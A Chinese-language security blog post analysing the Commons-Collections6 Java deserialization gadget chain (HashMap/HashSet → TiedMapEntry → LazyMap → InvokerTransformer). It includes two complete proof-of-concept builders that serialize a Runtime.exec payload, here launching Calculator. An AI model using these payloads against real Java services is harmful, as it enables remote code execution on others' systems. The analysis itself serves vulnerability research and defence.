Commons-Collections6原理分析

CC5 中我们使用了 TiedMapEntry#toString 来触发 LazyMap#get,在 CC6 中是通过 TiedMapEntry#hashCode 来触发。之前看到了 hashcode 方法也会调用 getValue() 方法然后调用到其中 mapget 方法触发 LazyMap,那我们如何在反序列化时触发 TiedMapEntryhashcode 方法呢?

URLDNS 中,在反序列化一个 HashMap 对象时,会调用 key 对象的 hashCode 方法计算 hash 值。那在此处当然也可以用来触发 TiedMapEntryhashCode 方法。
1
2

那就要面临在 URLDNS 中同样面临的问题:调用链会在 HashMapput 方法调用时提前触发,需要想办法绕过触发,可以采用以下几种方式:

  • 类似 URLDNS2 的利用反射调用 putVal 方法写入 key 避免触发。
  • 在向 HashMap push LazyMap 时先给个空的 ChainedTransformer,这样添加的时候不会执行任何恶意动作,put 之后再反射将有恶意链的 Transformer 数组写到 ChainedTransformer 中。但需要LazyMapkey进行remove

这样就完成了一个 HashMap 的触发方式。
CC6 使用的是 HashSet 触发方式。

前置知识

HashSet

HashSet 是一个无序的,不允许有重复元素的集合。HashSet 本质上就是由 HashMap 实现的。HashSet 中的元素都存放在 HashMapkey 上面,而 value 中的值都是统一的一个private static final Object PRESENT = new Object();HashSetHashMap 一样,都是一个存放链表的数组。

HashSetreadObject 方法中,会调用其内部 HashMapput 方法,将值放在 key 上。
3

POC

CC6WithHashMap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
HashMap hashMap = new HashMap<>();
Map map = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(map,"key1");
HashMap hashMap1 = new HashMap();
hashMap1.put(tiedMapEntry,"alter");
map.remove("key1");
// 反射调用 HashMap 的 putVal 方法
/*
Method[] m = Class.forName("java.util.HashMap").getDeclaredMethods();
for (Method method : m) {
if ("putVal".equals(method.getName())) {
method.setAccessible(true);
method.invoke(hashMap, -1, tiedMapEntry, 0, false, true);
}
}
*/
setFieldValue(chainedTransformer,"iTransformers",transformers);
seDse.serialize(hashMap1,"CC6.ser");

为什么需要map.remove("key1");
关键点在LazyMapget⽅法,就是最后触发命令执⾏的transform(),但是这个if语句并没有进⼊,因为map.containsKey(key)的结果是true,理想结果是false

0

原因是HashMapput⽅法中,也有调⽤到 hash(key),进而执行了TiedMapEntry#hashCode(),触发了TiedMapEntry#hashCode(),最后执行LazyMap#get,这是在构造payload时执行的LazyMap#get,触发了fakeTransformers,导致提前执行了一遍虚假链,设了keykey1,这样在反序列化再次执行LazyMap#get时,由于设了keykey1,这个if语句并没有进⼊,导致执行失败。
(new TiedMapEntry(outerMap, "key1");key1是形参key的实参,这里的key指的是这个意思。)
我们的解决⽅法也很简单,只需要将key1这个Key,再从map中移除即可:map.remove("key1")

CC6withHashSet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
HashMap hashMap = new HashMap<>();
Map map = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(map, "key1");
HashMap hashMap1 = new HashMap();
hashMap1.put(tiedMapEntry, "alter");
HashSet hashSet = new HashSet(hashMap1.keySet());
map.remove("key1");
setFieldValue(chainedTransformer, "iTransformers", transformers);
seDse.serialize(hashSet, "CC6withHashSet.ser");

这里我只是简单的在 HashMap 之外嵌套了一层 HashSet。在 ysoserial 中的 CC6 payload 中,作者 matthias_kaiser 多次使用反射向 HashMapHashSet 中写入值,并兼容了 JDK 78 中成员变量名发生变化的情况。并且是通过向底层 map 中的节点添加的方式。
4

总结

利用说明:
HashMap#readObject 调用 HashMap#hash 继而调用 key.hashCode ,也就是 TiedMapEntryhashCode ,继而调用 TiedMapEntrygetValue ,最后调用 LazyMapget 方法。
HashSet#readObject 调用 map.put() ,这个 map 就是 HashMap ,然后 HashMap#put 调用 hash(key) ,后面与 HashMap 利用链一样。
Gadget 总结:

1
2
3
kick-off gadget:java.util.HashSet#readObject()/java.util.HashMap#readObject()
chain gadget:org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode()
sink gadget:org.apache.commons.collections.functors.InvokerTransformer#transform()

su18写的调用链:

1
2
3
4
5
6
7
HashSet.readObject()/HashMap.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()

依赖版本

commons-collections : 3.1~3.2.1